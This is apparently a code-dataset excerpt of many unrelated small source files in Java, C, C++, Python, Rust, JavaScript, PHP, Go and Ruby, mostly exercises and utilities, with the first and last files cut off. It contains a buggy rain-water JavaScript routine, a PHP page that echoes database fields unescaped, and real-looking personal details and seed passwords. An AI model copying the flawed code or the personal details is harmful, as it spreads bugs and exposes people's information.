t2 = System.nanoTime();
System.out.printf("q %d for bucket %d processed %d keys in %e seconds \n", id, bucket, keys.size(), (t2-t1)/1e9);
} catch(Exception e) {
System.out.printf(" processor %d get %s \n", id, e.getMessage());
}
}
}
}
}
public static class Options {
String CompactionStyle;
long MaxTableFilesSizeFIFO;
int MaxBackgroundFlushes;
int MaxBackgroundCompactions;
int MaxWriteBufferNumber;
int MinWriteBufferNumberToMerge;
}
private static String opts() {
Options options = new Options();
options.CompactionStyle = "FIFO";
options.MaxTableFilesSizeFIFO = 1024*1024*1024*20L;
options.MaxBackgroundFlushes = 2;
options.MaxBackgroundCompactions = 4;
options.MaxWriteBufferNumber = 8;
options.MinWriteBufferNumberToMerge = 4;
Gson gson = new Gson();
return gson.toJson(options);
}
public static void main(String[] args) {
if(args.length < 3) {
System.out.println("Program http://localhost:8000/ http://localhost:8001/ http://localhost:8002/");
return;
}
uris = args;
System.out.println("start");
System.out.println("create events table");
try (Client client = new Client("http://localhost:8000/", events, opts())) {
client.open("append", 30*60);
}
System.out.println("start event source threads");
int num = 3;
for (int i = 0; i < num; i++) {
new Thread(new EventSource(i)).start();
}
System.out.println("start query worker");
for (int i = 0; i < 5; i++) {
new Thread(new Query(i)).start();
}
}
}
|
Java | UTF-8 | 1,167 | 3.734375 | 4 | [] | no_license | import java.util.*;
import java.util.LinkedList;
class BreadthFirstTraversal
{
static class Node
{
int data;
Node left;
Node right;
Node(int d)
{
data = d;
left = null;
right = null;
}
}
Node root;
public Node createTree(Node root1 , int arr[] , int ind)
{
if(ind < arr.length)
{
Node temp = new Node(arr[ind]);
root1 =temp;
root1.left = createTree(root1.left , arr , 2 * ind + 1);
root1.right = createTree(root1.right , arr , 2 * ind + 2);
}
return root1;
}
public void levelOrder(Node root)
{
Queue<Node> que = new LinkedList<Node>();
que.add(root);
while(!que.isEmpty())
{
Node tempNode = que.poll();
System.out.println(tempNode.data + " ");
if(tempNode.left != null )
{
que.add(tempNode.left);
}
if(tempNode.right != null)
{
que.add(tempNode.right);
}
}
}
public static void main(String args[])
{
BreadthFirstTraversal bft = new BreadthFirstTraversal();
int arr[] = {1, 2, 3, 4, 5, 6, 7, 8, 9};
bft.root = bft.createTree(bft.root , arr , 0);
bft.levelOrder(bft.root);
}
}
|
C++ | UTF-8 | 1,449 | 3.234375 | 3 | [] | no_license | #include<iostream>
#define CORNER 0
#define UP 1
#define LEFT 2
using namespace std;
int n,m;
void memoization(char s1[],char s2[],int n,int m){
int a[m+1][n+1],b[m+1][n+1];
for(int i=0;i<=n;i++){
a[0][i]=0;
b[i][0]=-1;
}
for(int i=0;i<=m;i++){
a[i][0]=0;
b[i][0]=-1;
}
for(int i=1;i<=m;i++){
for(int j=1;j<=n;j++){
if(s2[i-1]==s1[j-1]){
a[i][j]=1+a[i-1][j-1];
b[i][j]=CORNER;
}
else{
a[i][j]=max(a[i-1][j],a[i][j-1]);
if(a[i-1][j]>=a[i][j-1]) b[i][j]=UP;
else b[i][j]=LEFT;
}
}
}
int length=a[m][n];
cout<<"Max Length:"<<length<<endl;
char longest[length+1];
int j=m,k=n,l=length-1;
while(a[j][k]!=0){
if(b[j][k]==CORNER){
longest[l]=s2[j-1];
j--;
k--;
l--;
}
else{
if(b[j][k]==UP){
j--;
}
else if(b[j][k]==LEFT){
k--;
}
}
}
longest[length]='\0';
cout<<longest<<endl;
}
int main(){
cout<<"Enter Size:"<<endl;
cin>>n;
char s1[n+1];
cout<<"Enter 1st String"<<endl;
cin>>s1;
cout<<"Enter Size:"<<endl;
cin>>m;
char s2[m+1];
cout<<"Enter 2nd String"<<endl;
cin>>s2;
memoization(s1,s2,n,m);
return 0;
}
|
C++ | UTF-8 | 1,503 | 2.546875 | 3 | [] | no_license | /* Citation and Sources...
Final Project Milestone 4
Module: Patient
Filename: Patient.h
Version 1.0
Author Inae Kim
Seneca ID : 132329202
Seneca email : ikim36@myseneca.ca
Revision History
-----------------------------------------------------------
Date Reason
2021/7/22 Preliminary release
-----------------------------------------------------------
I have done all the coding by myself and only copied the code
that my professor provided to complete my workshops and assignments.
-----------------------------------------------------------
*/
#ifndef SDDS_PATIENT_H
#define SDDS_PATIENT_H
#include "IOAble.h"
#include "Ticket.h"
namespace sdds
{
class Patient :
public IOAble
{
char* m_patient_name{};
int m_OHIP_number{};
bool m_fileIO{};
Ticket m_ticket = 0;
public :
Patient(int ticket_number = 0, bool fileIO = false);
Patient(const Patient&) = delete;
Patient& operator=(const Patient&) = delete;
virtual ~Patient() = 0;
virtual char type()const = 0;
bool fileIO()const;
void fileIO(bool);
bool operator==(char)const;
bool operator==(const Patient&)const;
void setArrivalTime();
operator Time()const;
int number()const;
std::ostream& csvWrite(std::ostream&)const;
std::istream& csvRead(std::istream& istr);
std::ostream& write(std::ostream& ostr)const;
std::istream& read(std::istream& istr);
};
}
#endif
|
Python | UTF-8 | 801 | 2.953125 | 3 | [] | no_license | #!/usr/bin/python3
"""
use REST API {JSON} Placeholder
Gather data from an API.
"""
if __name__ == "__main__":
import json
import requests
from sys import argv
id = argv[1]
url = 'https://jsonplaceholder.typicode.com/'
user = requests.get('{}users/{}'.format(url, id))
user = user.json()
name_user = user.get('username')
url_todo = '{}todos?userId={}'.format(url, id)
todo = requests.get(url_todo)
todo = todo.json()
data = {str(id): []}
for do in todo:
data[str(id)].append({'task': do.get('title'),
'completed': do.get('completed'),
'username': name_user})
name_file = '{}.json'.format(id)
with open(name_file, 'w') as json_file:
json.dump(data, json_file)
|
Rust | UTF-8 | 1,515 | 2.796875 | 3 | [] | no_license | pub mod error;
use serde::{Deserialize, Serialize};
pub type Index = i64;
const DEFAULT_OFFSET: Index = 0;
const DEFAULT_LIMIT: Index = 50;
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct QueryOptions {
offset: Option<Index>,
limit: Option<Index>,
}
impl Default for QueryOptions {
fn default() -> Self {
Self {
offset: Some(DEFAULT_OFFSET),
limit: Some(DEFAULT_LIMIT),
}
}
}
impl QueryOptions {
pub fn new() -> Self {
Self::default()
}
pub fn limit(&self) -> Index {
self.limit.unwrap_or(DEFAULT_LIMIT)
}
pub fn offset(&self) -> Index {
self.offset.unwrap_or(DEFAULT_OFFSET)
}
pub fn with_offset(self, offset: Option<Index>) -> Self {
Self { offset, ..self }
}
pub fn with_limit(self, limit: Option<Index>) -> Self {
Self { limit, ..self }
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Paging<T> {
total: Index,
items: Vec<T>,
}
impl<T> Paging<T> {
pub fn new(total: Index, items: Vec<T>) -> Self {
Self { total, items }
}
pub fn total(&self) -> Index {
self.total
}
pub fn items(&self) -> &[T] {
&self.items
}
pub fn into_inner(self) -> Vec<T> {
self.items
}
}
pub type CoreResult<T> = Result<T, error::CoreError>;
pub mod prelude {
pub use super::{error::CoreError, CoreResult, Index, Paging, QueryOptions};
pub use serde::{Deserialize, Serialize};
}
|
JavaScript | UTF-8 | 1,263 | 3.1875 | 3 | [] | no_license | /**
* @param {number[]} height
* @return {number}
*/
var trap = function(height) {
if (height == null || height.length == 0) {
return 0;
}
let res = 0,
size = height.length,
temp = 0,
max = [0, 0],
min = [0, 0] // key , value
for (let i = 0; i <= size; i++) {
if (i > size - 1) { break; }
if (temp == 0 && max[1] <= height[i]) {
max[0] = i;
max[1] = height[i];
}
if (temp > 0 && i > size - 1 || height[i + 1] < height[i]) {
let limit = height[i - 1];
console.log('-----1.temp:'+temp+', res:'+res)
temp = temp - (max[1] - limit) * (i - max[0]);
res+=temp
temp = 0
max[0] = i
max[1] = height[i]
console.log('-----1.temp:'+temp+', res:'+res)
}
if (temp > 0 && height[i] > max[1]) {
console.log('-----2.temp:'+temp+', res:'+res)
res+=temp
temp = 0
max[0] = i
max[1] = height[i]
console.log('-----2.temp:'+temp+', res:'+res)
}
temp+=(max[1] - height[i])
console.log('i:'+i+', temp:'+temp+', max:'+max)
}
return res
};
console.log(trap([3,1,0,2,3])) |
PHP | UTF-8 | 1,269 | 2.734375 | 3 | [
"MIT"
] | permissive | <?php
use Illuminate\Database\Seeder;
use App\Administrator;
class AdministratorSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
//TABLA DE LOS CHECADORES
DB::table('administrators')->delete();
$faker = \Faker\Factory::create();
$password = "basepass";
// And now let's generate a few dozen users for our app:
for ($i = 0; $i < 2; $i++) {
Administrator::create([
'first_name' => $faker->firstName,
'last_name' => $faker->lastName,
'email' => $faker->email,
'password' => $password,
'key' => $faker->bothify('###?#??')
]);
}
Administrator::create([
'first_name' => "José Luis",
'last_name' => "López Arreguin",
'email' => "joseluischecador@gmail.com",
'password' => "123456",
'key' => $faker->bothify('###?#??')
]);
Administrator::create([
'first_name' => "Francisco Gamaliel",
'last_name' => "Arias Urquieta",
'email' => "divisionsistemaschecador@itsa.edu.mx",
'password' => "131313",
'key' => $faker->bothify('###?#??')
]);
}
}
|
C | UTF-8 | 1,979 | 2.828125 | 3 | [] | no_license | /* ************************************************************************** */
/* */
/* :::::::: */
/* get_next_line_utils.c :+: :+: */
/* +:+ */
/* By: dkocob <dkocob@student.codam.nl> +#+ */
/* +#+ */
/* Created: 2021/03/02 02:19:45 by d #+# #+# */
/* Updated: 2021/04/14 20:07:01 by dkocob ######## odam.nl */
/* */
/* ************************************************************************** */
#include "get_next_line.h"
int ft_err(int fd, struct s_st *s)
{
s->read[fd] = -1;
if (s->re[fd])
{
s->re[fd] = (void *) 0;
free (s->re[fd]);
}
if (s->tmp)
{
s->tmp = (void *) 0;
free (s->tmp);
}
return (-1);
}
size_t ft_nl(char *s)
{
size_t i;
i = 0;
while (s[i] && s[i] != '\n')
i++;
return (i);
}
size_t ft_size(char *s)
{
size_t i;
i = 0;
while (s[i])
i++;
return (i);
}
size_t ft_strlcpy(char *dest, const char *src, size_t size)
{
size_t src_len;
size_t i;
if (!src)
return (0);
src_len = 0;
while (src[src_len] != '\0')
src_len++;
if (size == 0)
return (src_len);
i = 0;
while (src[i] != '\0' && i < (size - 1))
{
dest[i] = src[i];
i++;
}
dest[i] = '\0';
return (src_len);
}
char *ft_jsf(char *s1, char *s2, int f)
{
char *t;
if (!s1 || !s2)
return ((void *) 0);
t = malloc(
sizeof(char) * (ft_size(s1) + ft_size(s2) + 1));
if (!t)
return ((void *) 0);
ft_strlcpy(t, s1, ft_size(s1) + 1);
ft_strlcpy(t + ft_size(s1), s2, ft_size(s2) + 1);
if (f == 1 || f == 3)
free(s1);
if (f == 2 || f == 3)
free (s2);
return (t);
}
|
PHP | UTF-8 | 1,293 | 2.546875 | 3 | [
"MIT"
] | permissive | <?php
namespace Drivezy\LaravelAccessManager\Controllers;
use App\User;
use Drivezy\LaravelRecordManager\Controllers\RecordController;
use Drivezy\LaravelUtility\LaravelUtility;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
/**
* Class UserController
* @package Drivezy\LaravelAccessManager\Controllers
*/
class UserController extends RecordController
{
/**
* @var string|null
*/
protected $model = null;
/**
* UserController constructor.
*/
public function __construct ()
{
$this->model = LaravelUtility::getUserModelFullQualifiedName();
parent::__construct();
}
/**
* @param Request $request
* @return JsonResponse|mixed
*/
public function store (Request $request)
{
//check for duplicate user
$user = User::where('email', strtolower($request->email))->first();
if ( $user )
return failed_response('Email already in use');
return parent::store($request);
}
/**
* @param Request $request
* @param $id
* @return null
*/
public function update (Request $request, $id)
{
return parent::update($request, $id); // TODO: Change the autogenerated stub
}
}
|
Go | UTF-8 | 3,025 | 3.109375 | 3 | [] | no_license | package main
import (
"fmt"
"os"
"bufio"
"errors"
"sync"
"io/ioutil"
"sync/atomic"
"strings"
"regexp"
"encoding/base64"
)
func main() {
defer func() {
if err := recover(); err != nil {
fmt.Println("error:" ,err)
}
getParam("exit")
}()
// 线程数
threadNum := 1024
dir := getParam("请输入当前m3u8和key文件的目录:")
if dir == "" {
panic("目录不能为空!")
}
// 读取所有文件
fileInfos := dirents(dir)
// 接收文件的通道
fileChannel := make(chan os.FileInfo)
// 向通道发送单个文件
go func() {
for _, item := range fileInfos {
fileChannel <- item
}
close(fileChannel)
}()
count := int64(0)
// 保存 keyName 和 其base64编码的key
var keyMap sync.Map
base64Encoder :=base64.StdEncoding
reg := regexp.MustCompile(`(.+URI=["]?)[\w@:\\.]*(["]?.+)`)
// 并发修改
waitGroup := sync.WaitGroup{}
for i := 0; i < threadNum; i++ {
waitGroup.Add(1)
go func() {
defer waitGroup.Done()
for fileInfo := range fileChannel {
atomic.AddInt64(&count,1)
filePath := dir + string(os.PathSeparator) + fileInfo.Name()
// 保存key文件内容
if strings.HasSuffix(fileInfo.Name(),"key") {
bytes,err := ioutil.ReadFile(filePath)
if err!= nil {
panic(errors.New("读取文件异常:" + err.Error()))
}
keyMap.LoadOrStore(strings.TrimSuffix(fileInfo.Name(),".key"),"base64:" + base64Encoder.EncodeToString(bytes))
continue
}
// 修改m3u8文件
if strings.HasSuffix(fileInfo.Name(),"m3u8") {
// 读取key文件
keyPath := strings.Replace(filePath,"m3u8","key",1)
bytes,err := ioutil.ReadFile(keyPath)
if err!= nil {
panic(errors.New("读取文件异常:" + err.Error()))
}
key := "base64:" + base64Encoder.EncodeToString(bytes)
// 文件内容
fileStr := readFileToString(filePath)
// 替换
fileStr = reg.ReplaceAllString(fileStr,"${1}" + key + "${2}")
writeFile(filePath,fileStr)
fmt.Printf("文件:%s,修改成功.\n",filePath)
continue
}
panic("遍历目录异常,包含了其他元素")
}
}()
}
waitGroup.Wait()
fmt.Printf("成功,遍历总文件个数:%d \n",count )
}
// dirents 返回 dir 目录中的条目
func dirents(dir string) []os.FileInfo {
fileInfos, err := ioutil.ReadDir(dir)
if err != nil {
panic(errors.New("遍历文件异常:" + err.Error() ))
return nil
}
return fileInfos
}
/**
读取文件
*/
func readFileToString(fileName string)string{
result,err :=ioutil.ReadFile(fileName)
if err != nil{
panic("读取文件失败:"+ err.Error())
}
return string(result)
}
/**
写入文件
*/
func writeFile(fileName,fileContent string) {
err := ioutil.WriteFile(fileName,[]byte(fileContent),0666)
if err != nil {
panic("写入文件失败:"+ err.Error())
}
}
/**
获取参数
*/
func getParam(fmtString string) string {
input := bufio.NewScanner(os.Stdin)
fmt.Println(fmtString)
input.Scan()
return input.Text()
}
|
Ruby | UTF-8 | 2,102 | 2.625 | 3 | [] | no_license | require 'test_helper'
class MovieTest < ActiveSupport::TestCase
def setup
@movie = Movie.create!(tmdb_id: 123)
@user = User.create!(email: 'test@test.com', password: 'password', username: 'something')
end
test '.with_user_data includes user rating' do
@user.ratings.create!(movie: @movie, value: 5)
all = Movie.all.with_user_data(@user)
assert_equal(5, all.first.user_rating)
end
test '.with_user_data does not include other users ratings' do
User
.create!(email: 'other@test.com', password: 'password', username: 'something-else')
.ratings.create!(movie: @movie, value: 5)
all = Movie.all.with_user_data(@user)
assert_nil(all.first.user_rating)
end
test '.with_user_data includes user want to watch' do
@user.want_to_watches.create!(movie: @movie)
all = Movie.all.with_user_data(@user)
assert(all.first.user_want_to_watch?)
end
test '.with_user_data does not include other users want to watch' do
User
.create!(email: 'other@test.com', password: 'password', username: 'something-else')
.want_to_watches.create!(movie: @movie)
all = Movie.all.with_user_data(@user)
refute(all.first.user_want_to_watch?)
end
test '.with_user_data includes user_discovered?' do
@user
.discovers
.create!(movie: @movie)
all = Movie.all.with_user_data(@user)
assert(all.first.user_discovered?)
end
test '.with_user_data does not include other user_discovered?' do
User
.create!(email: 'other@test.com', password: 'password', username: 'something-else')
.discovers.create!(movie: @movie)
all = Movie.all.with_user_data(@user)
refute(all.first.user_discovered?)
end
test '.top_rated includes only top rated movies' do
movie1 = Movie.create!(tmdb_id: 123)
movie2 = Movie.create!(tmdb_id: 456)
@user
.ratings
.create!(movie: movie1, value: 1)
@user
.ratings
.create!(movie: movie2, value: 4)
top_rated = Movie.top_rated(@user).to_a
assert_equal(1, top_rated.size)
assert_equal(movie2, top_rated.first)
end
end
|
Python | UTF-8 | 240 | 3.875 | 4 | [] | no_license | """add, subtract, multiply, divide function"""
def add(x,y):
return x+y
def subtract(x,y):
return x-y
def multiply(x,y):
return x*y
def divide(x,y):
if y==0:
raise ValueError("Can't divide by zero")
return x/y |
PHP | UTF-8 | 2,575 | 2.828125 | 3 | [] | no_license | <?php
include ("conexion.php");
include("cls_vehiculo.php");
$vehiculo=new Vehiculo();
if($_POST){
$vehiculo->id=$_POST["txtId"];
$vehiculo->matricula=$_POST["txtMatricula"];
$vehiculo->marca=$_POST["txtMarca"];
$vehiculo->modelo=$_POST["txtModelo"];
$vehiculo->color=$_POST["txtColor"];
$vehiculo->precio=$_POST["txtPrecio"];
$vehiculo->guardar();
}
else if(isset($_GET["editar"])){
$vehiculo->id=$_GET["editar"]+0;
$vehiculo->cargar();
}
else if(isset($_GET["eliminar"])){
Vehiculo::borrar($_GET["eliminar"]+0);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Mantenimiento</title>
<style>
#tlbVehiculos{
width:100%;
border: solid 1px black;
}
#tlbVehiculos thead{
background: black;
color: white;
}
</style>
</head>
<body>
<form action="index.php" method="POST">
<table border="1" id="tlbGuardar">
<tr>
<th>ID</th>
<td><input type="text" value="<?php echo $vehiculo->id; ?>" readonly name="txtId"></td>
</tr>
<tr>
<th>Matricula</th>
<td><input type="text" value="<?php echo $vehiculo->matricula; ?>" name="txtMatricula"></td>
</tr>
<tr>
<th>Marca</th>
<td><input type="text" value="<?php echo $vehiculo->marca; ?>" name="txtMarca"></td>
</tr>
<tr>
<th>Modelo</th>
<td><input type="text" value="<?php echo $vehiculo->modelo; ?>" name="txtModelo"></td>
</tr>
<tr>
<th>Color</th>
<td><input type="text" value="<?php echo $vehiculo->color; ?>" name="txtColor"></td>
</tr>
<tr>
<th>Precio</th>
<td><input type="text" value="<?php echo $vehiculo->precio; ?>" name="txtPrecio"></td>
</tr>
<tr>
<td><a href="index.php">Nuevo</a></td>
<td><input type="submit" value="Guardar"></td>
</tr>
</table>
</form>
<fieldset>
<legend>Registros</legend>
<table id="tlbVehiculos">
<thead>
<th>ID</th>
<th>Matricula</th>
<th>Marca</th>
<th>Modelo</th>
<th>Color</th>
<th>Precio</th>
<th>Modificar</th>
<th>Eliminar</th>
</thead>
<tbody>
<?php
$vehiculos=Vehiculo::lista();
foreach($vehiculos as $veh){
$id=$veh['id'];
echo <<<FILA
<tr>
<td>{$veh['id']}</td>
<td>{$veh['matricula']}</td>
<td>{$veh['marca']}</td>
<td>{$veh['modelo']}</td>
<td>{$veh['color']}</td>
<td>{$veh['precio']}</td>
<td><a href='index.php?editar={$id}'>M</a></td>
<td><a href='index.php?eliminar={$id}'>Eliminar</a></td>
</tr>
FILA;
}
?>
</tbody>
</table>
</fieldset>
</body>
</html> |
Markdown | UTF-8 | 1,353 | 2.984375 | 3 | [] | no_license | ---
title: Data Science Consulting
---
I want to help you understand your data. Especially if you're working in the biomedical or clinical sciences. I work with academia, industry, and the public sector. My [portfolio](../portfolio) gives a sample of what I help with.
Email me at daniel@datamd.info with any questions or requests. I'll respond to your email, and we can set up a call to discuss the scope of your project. My goal is to get a sense for what needs to be created and why, what data is available, and who the audience is. Providing examples (if they exist) will also help me understand what you'd like to create. We'll also discuss a timeline and budget early on so that we can focus on completing the project.
I love to teach and can speak with your organization about data visualization, R, RShiny, or reproducible research in the health sciences.
Below is a more detailed description of what I can help with:
### Data visualization
- Static graphics for print or web
- Tools: R, RShiny, d3.js, Adobe Illustrator, Microsoft PowerPoint
### Application Development
- Web and mobile applications (example: ***)
- Websites (Dynamic or Static)
### Data engineering and analysis
- Reproducible statistical analysis
- Study design
- Data gathering from:
- Public databases or APIs
- Non-traditional sources (eg PDF docs)
- Genomic databases
|
PHP | UTF-8 | 3,259 | 2.765625 | 3 | [] | no_license | <?php
class ContentType {
private static $extensionMap = array(
'jpg' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'json' => 'application/json',
'php' => 'text/x-php',
'ott' => 'application/vnd.oasis.opendocument.text-template',
'odt' => 'application/vnd.oasis.opendocument.text',
'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
'txt' => 'text/plain',
'xls' => 'application/vnd.ms-excel',
'doc' => 'application/vnd.ms-word',
'pdf' => 'application/pdf',
);
private $contentTypeString;
public static function jpeg() {
return new self(self::$extensionMap['jpg']);
}
public static function gif() {
return new self(self::$extensionMap['gif']);
}
public static function json() {
return new self(self::$extensionMap['json']);
}
public static function ott() {
return new self(self::$extensionMap['ott']);
}
public static function ots() {
return new self(self::$extensionMap['ots']);
}
public static function xls() {
return new self(self::$extensionMap['xls']);
}
public static function doc() {
return new self(self::$extensionMap['doc']);
}
public static function odt() {
return new self(self::$extensionMap['odt']);
}
public static function ods() {
return new self(self::$extensionMap['ods']);
}
public static function pdf() {
return new self(self::$extensionMap['pdf']);
}
public static function png() {
return new self(self::$extensionMap['png']);
}
public static function txt() {
return new self(self::$extensionMap['txt']);
}
public static function byExtention($ext) {
if(isset(self::$extensionMap[$ext])) {
return new self(self::$extensionMap[$ext]);
}
throw new ContentType_Exception($ext);
}
public static function byString($content) {
$contentTypeString = self::contentTypeString($content);
$ext = array_search($contentTypeString, self::$extensionMap);
if(false !== $ext) {
return self::byExtention($ext);
}
throw new ContentType_Exception($contentTypeString);
}
private function __construct($contentTypeString) {
$this->contentTypeString = $contentTypeString;
}
public function standartExtention() {
foreach(self::$extensionMap as $ext=>$contentTypeStringArray) {
if($this->contentTypeString === $contentTypeStringArray) {
return $ext;
}
}
throw new ContentType_Exception($this->contentTypeString);
}
public function __toString() {
return $this->contentTypeString;
}
//--------------------------------------------------------------------------------------------------
private static function contentTypeString($content) {
$finfo = new finfo(
FILEINFO_MIME ^ FILEINFO_MIME_ENCODING,
APPLICATION_PATH . '/scripts/magic.mime.mgc'
);
return $finfo->buffer($content);
}
}
|
Java | UTF-8 | 925 | 2.53125 | 3 | [] | no_license | package TechGuard.x1337x.Archers;
import org.bukkit.craftbukkit.inventory.CraftInventoryPlayer;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
public class CraftUpdate
{
public static void addItem(Player p, ItemStack q)
{
CraftInventoryPlayer pInv = (CraftInventoryPlayer)p.getInventory();
pInv.addItem(new ItemStack[] { q });
p.updateInventory();
}
public static void removeItem(Player p, ItemStack q) {
CraftInventoryPlayer pInv = (CraftInventoryPlayer)p.getInventory();
for (int i = 0; i < q.getAmount(); i++) {
if (pInv.getItem(pInv.first(q.getTypeId())).getAmount() == 1) {
pInv.remove(new ItemStack(q.getTypeId(), 1));
} else {
ItemStack first = pInv.getItem(pInv.first(q.getTypeId()));
pInv.setItem(pInv.first(q.getTypeId()), new ItemStack(q.getTypeId(), first.getAmount() - 1));
}
}
p.updateInventory();
}
} |
C++ | UTF-8 | 697 | 2.921875 | 3 | [] | no_license | #include <iostream>
using namespace std;
int main()
{
double odds = 0.65;
char bet[3] = {'W', 'T', 'L'};
int best[3];
for (int i = 0; i < 3; i++)
{
double w, t, l;
scanf("%lf%lf%lf", &w, &t, &l);
if (w >= t && w >= l)
{
best[i] = 0;
odds *= w;
}
else if (t >= w && t >= l)
{
best[i] = 1;
odds *= t;
}
else
{
best[i] = 2;
odds *= l;
}
}
double res = (odds - 1) * 2;
for (int i = 0; i < 3; i++)
{
printf("%c ", bet[best[i]]);
}
printf("%.2f\n", res);
system("pause");
return 0;
} |
Markdown | UTF-8 | 1,021 | 2.796875 | 3 | [] | no_license | # acf-as-library
Easy and clean config of the Advanced Custom Fields WordPress plugin to load it as a composer library.
Simplify the process described here: https://www.advancedcustomfields.com/resources/including-acf-in-a-plugin-theme/
## How to use:
1. Make sure you have an environment varible with you ACF licence key `export ACF_PRO_KEY=XXXXXXX`
2. Then add this library to your plugin or theme `composer require guillaumemolter/acf-as-library`
3. Finally inside of your plugin or theme:
```
<?php
include
require_once("vendor/guillaumemolter/acf-pro-installer/src/ACFAsLibrary/ACF_Lib.php"); // Not necessary if you use composer autoload.
$path_to_acf = $path_to_plugin . '/vendor/advanced-custom-fields/advanced-custom-fields-pro/'; // Replace $path_to_plugin by the actual path.
$url_to_acf = $url_to_plugin . '/vendor/advanced-custom-fields/advanced-custom-fields-pro/'; // Replace $url_to_plugin by the actual url.
$acf_as_library = new ACF_Lib( $path_to_acf, $url_to_acf );
$acf_as_library->init();
?>
|
Ruby | UTF-8 | 817 | 2.828125 | 3 | [
"MIT"
] | permissive | require "state_machine"
require "state_machine_setters/version"
module StateMachineSetters
def state_machine_setter(state_machine_name)
ensure_state_machine!(state_machine_name)
add_state_machine_setters(state_machine_name)
end
private
def ensure_state_machine!(name)
return if respond_to?(:state_machines) && state_machines[name]
raise MissingStateMachineError.new("#{name} has not been defined.")
end
def add_state_machine_setters(name)
state_machines[name].events.map(&:name).each do |event|
class_eval <<-RUBY, __FILE__, __LINE__ + 1
def #{event}=(value)
self.attributes = value if value.is_a?(Hash)
#{event}
end
RUBY
end
end
class MissingStateMachineError < StandardError ; end
end
Object.extend StateMachineSetters
|
Markdown | UTF-8 | 2,471 | 2.6875 | 3 | [] | no_license | # IFE春季班第一阶段任务
任务发布在 [http://ife.baidu.com/task/all](http://ife.baidu.com/task/all)
第一阶段的主要目标是帮助大家 了解、认识、学习、掌握HTML及CSS。第一阶段任务从 3月14日 开始,持续到 4月3日。
## 任务一:面向零基础的HTML代码编写
- [任务介绍](http://ife.baidu.com/task/detail?taskId=1)
- [提交的源码](https://github.com/IFE-W3C/IFE-W3C.github.io/blob/master/Stage1/Task1/index.html)
- [在线演示](http://ife-w3c.github.io/Stage1/Task1/index.html)
## 任务二:基于任务1的HTML代码,实现简单的CSS代码编写
- [任务介绍](http://ife.baidu.com/task/detail?taskId=2)
- [提交的源码]()
- [在线演示]()
## 任务三:HTML、CSS布局入门,三栏式布局的实践
- [任务介绍](http://ife.baidu.com/task/detail?taskId=3)
- [提交的源码]()
- [在线演示]()
## 任务四:HTML、CSS布局深入,定位和居中问题的实践
- [任务介绍](http://ife.baidu.com/task/detail?taskId=4)
- [提交的源码]()
- [在线演示]()
## 任务五:基于任务1的HTML代码,实现一个稍微复杂的CSS代码编写
- [任务介绍](http://ife.baidu.com/task/detail?taskId=5)
- [提交的源码]()
- [在线演示]()
## 任务六:按照设计图,通过HTML/CSS实现一个像报纸杂志一样的页面布局排版
- [任务介绍](http://ife.baidu.com/task/detail?taskId=6)
- [提交的源码]()
- [在线演示]()
## 任务七:按照设计图,通过HTML/CSS实现一个产品官网
- [任务介绍](http://ife.baidu.com/task/detail?taskId=7)
- [提交的源码]()
- [在线演示]()
## 任务八:网格/栅格化布局学习与实践
- [任务介绍](http://ife.baidu.com/task/detail?taskId=8)
- [提交的源码]()
- [在线演示]()
## 任务九:按照设计图,通过HTML/CSS实现一个复杂的业务系统页面
- [任务介绍](http://ife.baidu.com/task/detail?taskId=9)
- [提交的源码]()
- [在线演示]()
## 任务十:学习和练习Flex布局
- [任务介绍](http://ife.baidu.com/task/detail?taskId=10)
- [提交的源码]()
- [在线演示]()
## 任务十一:移动Web开发入门,按照设计稿实现一个移动端的页面
- [任务介绍](http://ife.baidu.com/task/detail?taskId=11)
- [提交的源码]()
- [在线演示]()
## 任务十二:CSS 3新特性的小练习
- [任务介绍](http://ife.baidu.com/task/detail?taskId=12)
- [提交的源码]()
- [在线演示]()
|
Markdown | UTF-8 | 1,532 | 2.78125 | 3 | [] | no_license | # Tests cucumber
Ce document présente les tests que nous avons réalisés sur notre application.
## Prérequis
Afin d'exécuter les tests sur notre application, il faut les prérequis suivants:
#### Sans docker
- Avoir un serveur MySQL qui tourne
- La string de connexion est présente dans le fichier ` application.properties` dans le dossier Ressources.
- Avoir créé une application ayant l'api key "a1"
- ` INSERT INTO application (name, description, app_key, app_token, enabled) VALUES('a1', 'a1', 'a1', 'a1', true);`
- Exécuter le serveur Spring
#### Avec docker
- Aller dans le répertoire docker du projet et lancer la commande ` docker compose up`
## Exécuter les tests
Afin d'exécuter les tests, ouvrir le projet : ` cucumber-tests` et exécuter les tests via la class ` SpecificationTest`.

Nous avons décidé de créer des tests pour chaque fonctionnalités et ceci sans avoir de restes dans la base de données. C'est pour cela que les tests sont certaines fois redondants. Nous avons eu un problème lors de la création des tests sur les Events car nous n'avons pas terminé l'implémentation du endpoint pour récupérer les rewards.
## Implémentation du DELETE
Nous avons décidé d'implémenter le DELETE pour plusieurs raison:
- La première raison est pour permettre à l'utilisateur d'avoir un contrôle total des ressources concernant la gamification de son application.
- Deuxièmement, afin de ne pas laisser de traces après les tests cucumber. |
Go | UTF-8 | 1,214 | 2.578125 | 3 | [] | no_license | package main
import (
"fmt"
"net"
"syscall"
"header"
)
func main() {
addr, err := net.ResolveUDPAddr("udp", "0.0.0.0:12345")
if err != nil {
fmt.Println(err)
return
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
fmt.Println(err)
return
}
defer conn.Close()
for {
data := make([]byte, 1024)
n, rAddr, err := conn.ReadFromUDP(data)
if err != nil {
fmt.Println(err)
continue
}
ipH := header.IPv4{}
udpH := header.UDP{}
ipH.Unmarshal(data[:20])
udpH.Unmarshal(data[ipH.HeaderLen():])
//nat
ipH.Src = header.Str2IP("192.168.43.198")
ipH.Checksum = 0
ipH.Checksum = ipH.CalChecksum()
udpH.Checksum = 0
ipbs := ipH.Marshal()
udpbs := udpH.Marshal()
fmt.Println(rAddr, ipH, udpH)
fbuf := make([]byte, 0)
fbuf = append(fbuf, ipbs...)
fbuf = append(fbuf, udpbs...)
fbuf = append(fbuf, data[ipH.HeaderLen()+udpH.HeaderLen():n]...)
addr := syscall.SockaddrInet4{
